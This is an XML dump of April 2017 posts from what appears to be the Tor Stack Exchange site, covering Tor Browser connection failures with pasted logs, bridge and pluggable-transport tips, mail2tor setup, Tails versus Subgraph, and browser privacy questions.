  <row Id="14505" PostTypeId="1" CreationDate="2017-04-08T12:16:30.853" Score="1" ViewCount="3848" Body="&lt;p&gt;I've been tying to set up my mail2tor email with thunderbird, but not having any luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've followed a couple of guides online which provide server settings etc, but it still doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most recently this one &lt;a href=&quot;http://free.arinco.org/mail/mail2tor/index3.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://free.arinco.org/mail/mail2tor/index3.html&lt;/a&gt;&#xA;(you have to translate it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I'm getting a message saying 'connection to server (my username) timed out'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone provide me with any further settings or info I need to make it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="17018" LastActivityDate="2017-04-08T12:16:30.853" Title="How to configure mail2tor with thunderbird" Tags="|configuration|email|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14506" PostTypeId="2" ParentId="12947" CreationDate="2017-04-08T18:28:12.217" Score="0" Body="&lt;p&gt;Use Pluggable Transport &lt;code&gt;scramblesuit&lt;/code&gt;: go to &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor bridges&lt;/a&gt;, and, when asked, choose Pluggable Transport &lt;code&gt;scramblesuit&lt;/code&gt;. Get those lines and paste them to the Tor Browser's &lt;code&gt;Enter custom bridges&lt;/code&gt; text field.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;That's the only way I've got it working recently with Tor Browser 6.5.1 and Beeline KZ provider. The simplier ways: selecting any of the preconfigured transport types &lt;code&gt;fte&lt;/code&gt;, &lt;code&gt;meek-azure&lt;/code&gt;, &lt;code&gt;meek-amazon&lt;/code&gt;, &lt;code&gt;obfs&lt;/code&gt;, &lt;code&gt;obfs4&lt;/code&gt; in the Tor Network Settings didn't work (&lt;code&gt;no connection&lt;/code&gt; or was stuck at connect).&lt;/p&gt;&#xA;" OwnerUserId="17021" LastEditorUserId="17021" LastEditDate="2017-04-15T03:25:53.557" LastActivityDate="2017-04-15T03:25:53.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14507" PostTypeId="1" CreationDate="2017-04-09T04:28:29.167" Score="1" ViewCount="83" Body="&lt;p&gt;I've been interested in contributing to the Tor project for some time now, having read the option for contributing:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;Create a poster around a theme, such as &quot;Tor for Freedom!&quot;&quot; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm interested in developing a few different &quot;Tor for freedom&quot; posters. However i'm unsure what I would do with them after creating them. &lt;/p&gt;&#xA;" OwnerUserId="17024" LastActivityDate="2017-04-09T09:27:08.247" Title="Contributing to Tor" Tags="|help|" AnswerCount="1" CommentCount="0" ClosedDate="2017-04-09T20:30:28.983" ContentLicense="CC BY-SA 3.0" />
  <row Id="14510" PostTypeId="2" ParentId="14507" CreationDate="2017-04-09T09:27:08.247" Score="0" Body="&lt;p&gt;It is nice that you are interested in spreading word about TOR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest that, if possible, you spend some money or set up a donation campaign to print high quality physical posters in a digital printing company. Then you could attach these posters everywhere in your city.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could attach them to,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Universities and high schools&lt;/li&gt;&#xA;&lt;li&gt;Train and bus stations&lt;/li&gt;&#xA;&lt;li&gt;Market places and public walls&lt;/li&gt;&#xA;&lt;li&gt;Public toilets&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or you can make also little flyers and give them to people at your city.&lt;/p&gt;&#xA;" OwnerUserId="17028" LastActivityDate="2017-04-09T09:27:08.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14511" PostTypeId="1" CreationDate="2017-04-09T13:07:14.273" Score="1" ViewCount="1119" Body="&lt;p&gt;I was able to connect to the Tor network one time months ago on my desktop. since then I've had to use my android phone - no problems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the log message I get after the failed connection:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4/9/2017 20:44:51 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/9/2017 20:44:51 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/9/2017 20:44:51 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/9/2017 20:44:51 PM.200 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;4/9/2017 20:44:51 PM.200 [NOTICE] Renaming old configuration file to &quot;C:\Users\Pope\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.1&quot; &#xA;4/9/2017 20:44:51 PM.800 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;4/9/2017 20:45:14 PM.000 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;4/9/2017 20:45:14 PM.700 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;4/9/2017 20:45:15 PM.000 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;4/9/2017 20:45:15 PM.300 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;4/9/2017 20:53:46 PM.600 [WARN] Problem bootstrapping. Stuck at 25%: Loading networkstatus consensus. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 10; recommendation warn; host 22F08CF09764C4E8982640D77F71ED72FF26A9AC at 144.76.163.93:9001) &#xA;4/9/2017 20:53:46 PM.600 [WARN] 9 connections have failed: &#xA;4/9/2017 20:53:46 PM.600 [WARN]  9 connections died in state connect()ing with SSL state (No SSL object) &#xA;4/9/2017 20:54:00 PM.900 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;4/9/2017 20:54:00 PM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/9/2017 20:54:00 PM.900 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;4/9/2017 20:54:00 PM.900 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;4/9/2017 20:59:32 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/9/2017 20:59:32 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/9/2017 20:59:32 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/9/2017 20:59:32 PM.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;4/9/2017 20:59:54 PM.100 [WARN] Problem bootstrapping. Stuck at 25%: Loading networkstatus consensus. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 11; recommendation warn; host F9246DEF2B653807236DA134F2AEAB103D58ABFE at 178.254.13.126:443) &#xA;4/9/2017 20:59:54 PM.100 [WARN] 11 connections have failed: &#xA;4/9/2017 20:59:54 PM.100 [WARN]  11 connections died in state connect()ing with SSL state (No SSL object) &#xA;4/9/2017 21:02:45 PM.600 [WARN] Problem bootstrapping. Stuck at 25%: Loading networkstatus consensus. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 12; recommendation warn; host 7BE683E65D48141321C5ED92F075C55364AC7123 at 193.23.244.244:443) &#xA;4/9/2017 21:02:45 PM.600 [WARN] 12 connections have failed: &#xA;4/9/2017 21:02:45 PM.600 [WARN]  12 connections died in state connect()ing with SSL state (No SSL object) &#xA;4/9/2017 21:02:45 PM.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;4/9/2017 21:02:45 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/9/2017 21:02:45 PM.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;4/9/2017 21:02:45 PM.600 [NOTICE] Delaying directory fetches: DisableNetwork is set.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17031" LastEditorUserId="12737" LastEditDate="2017-04-10T00:19:41.140" LastActivityDate="2017-04-10T00:19:41.140" Title="Tor failed to establish a Tor network connection. Loading network status failed (connection timeout - 178.254.13.126:443)" Tags="|connection|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14513" PostTypeId="1" CreationDate="2017-04-09T16:29:51.503" Score="1" ViewCount="1486" Body="&lt;p&gt;What is more secure: Tails or Subgraph? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Subgraph has a live CD/USB option making it like Tails)&lt;/p&gt;&#xA;" OwnerUserId="17032" LastActivityDate="2017-04-12T20:06:10.563" Title="What is more secure: Tails or Subgraph?" Tags="|security|tails|" AnswerCount="1" CommentCount="1" ClosedDate="2017-04-19T09:28:33.693" ContentLicense="CC BY-SA 3.0" />
  <row Id="14515" PostTypeId="1" CreationDate="2017-04-09T23:36:11.917" Score="5" ViewCount="29261" Body="&lt;p&gt;When searching videos on tor through &lt;a href=&quot;https://duckduckgo.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;DuckDuckGo&lt;/a&gt;, I am given this warning before proceeding to the video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;YouTube (owned by Google) does not let you watch videos anonymously. As such, watching YouTube videos here will be tracked by YouTube/Google.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am then asked to watch the video &quot;on YouTube&quot; or &quot;Here&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If you want to see exactly what I mean just search any video on Tor through &lt;a href=&quot;https://duckduckgo.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;DuckDuckGo&lt;/a&gt; then click on it and this will come up)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is what does tor (or maybe its &lt;a href=&quot;https://duckduckgo.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;DuckDuckGo&lt;/a&gt; that is doing this) mean by this. Are they given YouTube my IP address? What exactly do they mean by &quot;does not let you watch videos anonymously&quot;?&lt;/p&gt;&#xA;" OwnerUserId="17036" LastEditorUserId="17825" LastEditDate="2017-06-12T22:54:01.297" LastActivityDate="2020-04-14T17:19:56.663" Title="YouTube anonymity through Tor" Tags="|anonymity|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14516" PostTypeId="2" ParentId="14513" CreationDate="2017-04-10T01:25:03.590" Score="2" Body="&lt;p&gt;Subgraph is definitely more secure, it uses grsec/pax to harden against memory corruption exploits and a sandboxing system called &lt;code&gt;oz&lt;/code&gt; to isolate and restrict applications run under it, to reduce the impact of any successful exploits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically it is intended to be secure against a remote attacker, I.E. someone trying to exploit your browser, chat messenger or document reader, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Subgraph liveboot option will not be as comfortable or kept up to date with security patches, which Tails is. From previous discussions with the developers they don't (currently) intend to make a liveboot distribution. You'd be best served installing it, not running it in a liveboot mode.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-04-10T01:25:03.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14517" PostTypeId="1" CreationDate="2017-04-10T08:15:06.570" Score="1" ViewCount="222" Body="&lt;p&gt;I can't connect the tor network since a few weeks ago. It always worked fine but when I want to connect to the tor network my internet connection stops working or it says on the main page of tor that I'm not connected to the tor network. &#xA;What I did noticed is that my internet stops working when I turn on that vpn mode for my apps.&#xA;But when I don't turn that modus on I can't connect to the tor network. &lt;/p&gt;&#xA;" OwnerUserId="17041" LastActivityDate="2017-04-15T12:33:20.087" Title="Why can't I connect to the tor network?" Tags="|tor-browser-bundle|network-configuration|" AnswerCount="0" CommentCount="1" ClosedDate="2017-04-21T08:16:04.390" ContentLicense="CC BY-SA 3.0" />
  <row Id="14518" PostTypeId="1" CreationDate="2017-04-10T11:24:12.707" Score="1" ViewCount="69" Body="&lt;p&gt;Can someone please explain this? still unfamiliar i mean this ip's looks suspicious is this a ddos attack?m new to relay operating so please explain thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BACL9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BACL9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17045" LastEditorUserId="88" LastEditDate="2017-04-20T23:26:33.813" LastActivityDate="2017-04-20T23:26:33.813" Title="Can someone explain this?" Tags="|relays|attacks|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14521" PostTypeId="1" CreationDate="2017-04-11T10:35:31.480" Score="1" ViewCount="80" Body="&lt;p&gt;i'm trying to connect to &lt;code&gt;tor&lt;/code&gt; browser with all my might with my college PC to get some E-books but it's stuck at &lt;code&gt;tor browser stuck on establishing an encrypted directory connection&lt;/code&gt; i've tried to use meek but no help , here are the messages i'm getting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4/11/2017 15:43:10 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/11/2017 15:43:10 PM.800 [NOTICE] Switching to guard context &quot;bridges&quot; (was using &quot;default&quot;) &#xA;4/11/2017 15:44:34 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/11/2017 15:44:34 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/11/2017 15:44:34 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/11/2017 15:44:34 PM.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;4/11/2017 15:44:41 PM.500 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;4/11/2017 15:44:41 PM.500 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;4/11/2017 15:45:02 PM.500 [WARN] Proxy Client: unable to connect to 154.35.22.9:443 (&quot;general SOCKS server failure&quot;) &#xA;4/11/2017 15:45:02 PM.500 [WARN] Proxy Client: unable to connect to 192.99.11.54:443 (&quot;general SOCKS server failure&quot;) &#xA;4/11/2017 15:45:02 PM.500 [WARN] Proxy Client: unable to connect to 83.212.101.3:50002 (&quot;general SOCKS server failure&quot;) &#xA;4/11/2017 15:45:02 PM.600 [WARN] Proxy Client: unable to connect to 154.35.22.10:15937 (&quot;general SOCKS server failure&quot;) &#xA;4/11/2017 15:45:02 PM.600 [WARN] Proxy Client: unable to connect to 109.105.109.165:10527 (&quot;general SOCKS server failure&quot;) &#xA;4/11/2017 15:45:02 PM.600 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;4/11/2017 15:45:02 PM.600 [WARN] Proxy Client: unable to connect to 85.17.30.79:443 (&quot;general SOCKS server failure&quot;) &#xA;4/11/2017 15:45:02 PM.600 [WARN] Proxy Client: unable to connect to 154.35.22.13:443 (&quot;general SOCKS server failure&quot;) &#xA;4/11/2017 15:45:02 PM.600 [WARN] Proxy Client: unable to connect to 154.35.22.11:443 (&quot;general SOCKS server failure&quot;) &#xA;4/11/2017 15:45:02 PM.600 [WARN] Proxy Client: unable to connect to 154.35.22.12:80 (&quot;general SOCKS server failure&quot;) &#xA;4/11/2017 15:45:02 PM.600 [WARN] Proxy Client: unable to connect to 109.105.109.147:13764 (&quot;general SOCKS server failure&quot;) &#xA;4/11/2017 15:45:02 PM.600 [WARN] Proxy Client: unable to connect to 192.95.36.142:443 (&quot;general SOCKS server failure&quot;) &#xA;4/11/2017 15:48:38 PM.000 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;4/11/2017 15:48:38 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/11/2017 15:48:38 PM.000 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17057" LastActivityDate="2017-04-11T10:35:31.480" Title="tor browser stuck on establishing an encrypted directory connection" Tags="|encryption|" AnswerCount="0" CommentCount="1" ClosedDate="2017-04-20T23:18:41.817" ContentLicense="CC BY-SA 3.0" />
  <row Id="14522" PostTypeId="1" CreationDate="2017-04-11T13:27:23.887" Score="2" ViewCount="320" Body="&lt;p&gt;I was recently invited to join a hidden bulletin board. In the note that was sent to me about it, the sender specified that the URL given to me was unique to me. A friend from Reddit was sent the same invitation bearing a different URL, unique to them, obviously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both URLs resolve to the same site, an innocuous phpBB install. I logged in and it seems to be a functioning phpBB site with different levels of access and nearly all posts blocked from new registrations but there's a few things I've noticed that send up red flags. It leads me to believe that this is some kind of elaborate phishing scam or some byzantine means of installing malware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, registration only ever asked for a username and password that I don't use anywhere else on the internet. They were specific about this. I was never prompted for any further info that might identify me or be used in a way that could access other accounts linked to me. I've looked over the client-side source code and there's nothing obvious in there nor do I know of any malicious PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But no one ever seems to be logged into the site. Post view counts never seem to increase. It's like I'm alone on this board and I'm trying to figure out its angle, if it even has one. Why would the URL be unique to me? Is this a common thing among .onion sites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight would be helpful.&lt;/p&gt;&#xA;" OwnerUserId="17059" OwnerDisplayName="Bryan White" LastActivityDate="2018-10-10T04:00:11.740" Title="Why would an .onion have different URLs for different users?" Tags="|malware|onion-routing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14523" PostTypeId="1" CreationDate="2017-04-11T18:25:52.193" Score="1" ViewCount="791" Body="&lt;p&gt;I downloaded the latest Tor/windows (tried v 6 and 7).  At college I can access a windows 7 machine, and it runs Tor fine from a usb key (I have only limited access privileges) - no settings changes.  On my Win 10 laptop, with no AV and no firewall, it won't even start - tried both Tor versions, on usb key or on desktop.  Only get the cannot connect to control port message flashed up.&#xA;Help please!&#xA;OwenH&lt;/p&gt;&#xA;" OwnerUserId="17062" LastActivityDate="2017-04-15T12:14:12.697" Title="How to start Tor with Windows 10" Tags="|windows|tor-install|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14524" PostTypeId="1" CreationDate="2017-04-11T22:33:35.927" Score="1" ViewCount="171" Body="&lt;p&gt;I get the message &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Tor unexpectedly exited. this may be due to a bug....&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've re installed tor multiple times and nothing works&lt;/p&gt;&#xA;" OwnerUserId="17063" LastActivityDate="2017-04-11T22:33:35.927" Title="tor quit unexpectedly and wont re-open (even after I restart)" Tags="|mac|" AnswerCount="0" CommentCount="1" ClosedDate="2017-04-21T08:14:26.380" ContentLicense="CC BY-SA 3.0" />
  <row Id="14525" PostTypeId="1" CreationDate="2017-04-12T06:55:29.763" Score="1" ViewCount="107" Body="&lt;p&gt;Tried to connect but failed. What should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;12/04/2017 08:46:08 ص.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/04/2017 08:46:08 ص.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/04/2017 08:46:08 ص.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/04/2017 08:46:08 ص.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;12/04/2017 08:46:08 ص.300 [NOTICE] Renaming old configuration file to &quot;C:\Users\AbouHager\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.1&quot; &#xA;12/04/2017 08:46:08 ص.900 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;12/04/2017 08:46:09 ص.000 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;12/04/2017 08:47:09 ص.100 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host 49E7AD01BB96F6FE3AB8C3B15BD2470B150354DF at 188.165.194.195:9001) &#xA;12/04/2017 08:47:09 ص.100 [WARN] 10 connections have failed: &#xA;12/04/2017 08:47:09 ص.100 [WARN]  9 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12/04/2017 08:47:09 ص.100 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;12/04/2017 08:47:18 ص.400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;12/04/2017 08:47:18 ص.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/04/2017 08:47:18 ص.400 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;12/04/2017 08:47:18 ص.400 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;12/04/2017 08:47:19 ص.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/04/2017 08:47:19 ص.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/04/2017 08:47:19 ص.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/04/2017 08:47:19 ص.700 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;12/04/2017 08:47:35 ص.300 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 11; recommendation warn; host CF6D0AAFB385BE71B8E111FC5CFF4B47923733BC at 154.35.175.225:443) &#xA;12/04/2017 08:47:35 ص.300 [WARN] 11 connections have failed: &#xA;12/04/2017 08:47:35 ص.300 [WARN]  10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12/04/2017 08:47:35 ص.300 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;12/04/2017 08:47:40 ص.300 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;12/04/2017 08:47:40 ص.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/04/2017 08:47:40 ص.300 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;12/04/2017 08:47:40 ص.300 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;12/04/2017 08:47:48 ص.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/04/2017 08:47:48 ص.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/04/2017 08:47:48 ص.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/04/2017 08:47:48 ص.700 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;12/04/2017 08:47:57 ص.100 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 12; recommendation warn; host B1726B94885CE3AC3910CA8B60622B97B98E2529 at 185.66.250.141:9001) &#xA;12/04/2017 08:47:57 ص.100 [WARN] 12 connections have failed: &#xA;12/04/2017 08:47:57 ص.100 [WARN]  11 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12/04/2017 08:47:57 ص.100 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;12/04/2017 08:50:49 ص.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;12/04/2017 08:50:49 ص.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/04/2017 08:50:49 ص.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;12/04/2017 08:50:49 ص.100 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17066" LastEditorUserId="14292" LastEditDate="2017-04-12T23:48:01.813" LastActivityDate="2017-04-12T23:48:01.813" Title="tor failed to establish a tor network connection 140:9001" Tags="|connection|" AnswerCount="0" CommentCount="1" ClosedDate="2017-04-19T09:28:23.303" ContentLicense="CC BY-SA 3.0" />
  <row Id="14532" PostTypeId="2" ParentId="7052" CreationDate="2017-04-13T04:57:15.737" Score="1" Body="&lt;p&gt;A user agent identifies your browser (Firefox, Internet Explorer, Safari, etc.) and provides certain system details to the websites you visit. Your web browser automatically sends this information to every webpage you visit. The user agent data helps websites tailor their pages and content to your browser and platform. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;StartPage does not store your user agent data. That is very important, because user agent data can be used to &quot;fingerprint&quot; your browser and identify you. We never collect or store add-on details either, as they are specific enough to make browser fingerprinting possible. The only information we log is total search numbers conducted per language, as an aggregate figure. To learn how browser fingerprinting threatens privacy, please read EFF's useful Panopticlick overview:&lt;a href=&quot;http://panopticlick.eff.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://panopticlick.eff.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;StartPage uses your user agent as follows: To customize the &quot;Add to... &quot; message on our home page. StartPage uses the user agent string to customize the home page(www.startpage.com) where it provides instructions to add StartPage to your browser. (That's under the search box where it says &quot;Add to Internet Explorer,&quot; &quot;Add to Firefox,&quot; &quot;Add to Safari,&quot; etc.) Those directions differ from browser to browser, so we tailor the instructions you see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User agent data helps us prevent our service from being &quot;scraped&quot; by automatic programs or bots. One way we can identify bots is that they often do not send user-agents, while a normal user of our service would. This is why we do not allow access to StartPage by visitors who do not transmit a user agent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A number of browsers also offer add-ons so that you can &quot;fake&quot; your user agent data thereby enhancing your privacy and overcoming the perceived scraping obstacle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A final word about fingerprinting techniques: StartPage does not attempt to &quot;fingerprint&quot; and track visitors, under any circumstances. StartPage opposes the use of so-called &quot;canvas fingerprinting&quot; and evercookies, and does not use these or any other techniques to gather and retain data about you, your computing environment, or your browsing habits. If you are concerned about the use of canvas fingerprinting or evercookies, our Proxy can protect you from both when browsing web sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest thing not mentioned here is that &quot;startpage&quot; hides your activity of searches from your ISP , Tor does not ! Also , Startpage does not store your search history because in the Netherlands , the laws do not require them to. Also &quot;Startpage&quot; uses &quot;Google search engine&quot; then delivers the results to you and all Google knows is they received a search from &quot;startpage&quot; and not your IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Watch this video to fully understand &lt;a href=&quot;https://www.youtube.com/watch?v=z6vmyv44tG8&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=z6vmyv44tG8&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17079" LastEditorUserId="88" LastEditDate="2017-04-19T11:19:03.850" LastActivityDate="2017-04-19T11:19:03.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14533" PostTypeId="1" CreationDate="2017-04-13T05:55:10.640" Score="1" ViewCount="1042" Body="&lt;p&gt;I install Tor via Homebrew. Set SOCKS to localhost:9050 in System Preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;a href=&quot;https://check.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org&lt;/a&gt; in Safari and get &lt;strong&gt;&quot;Congratulations. This browser is configured to use Tor.&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to the &lt;a href=&quot;https://facebookcorewwwi.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://facebookcorewwwi.onion/&lt;/a&gt; I get error &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sQe50.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sQe50.png&quot; alt=&quot;onion error&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On other *.onion sites I'm get same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Chrome all work perfectly.&lt;/p&gt;&#xA;" OwnerUserId="16077" LastActivityDate="2017-07-24T17:52:13.240" Title="*.onion don't work in Safari" Tags="|onion-routing|mac|safari|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
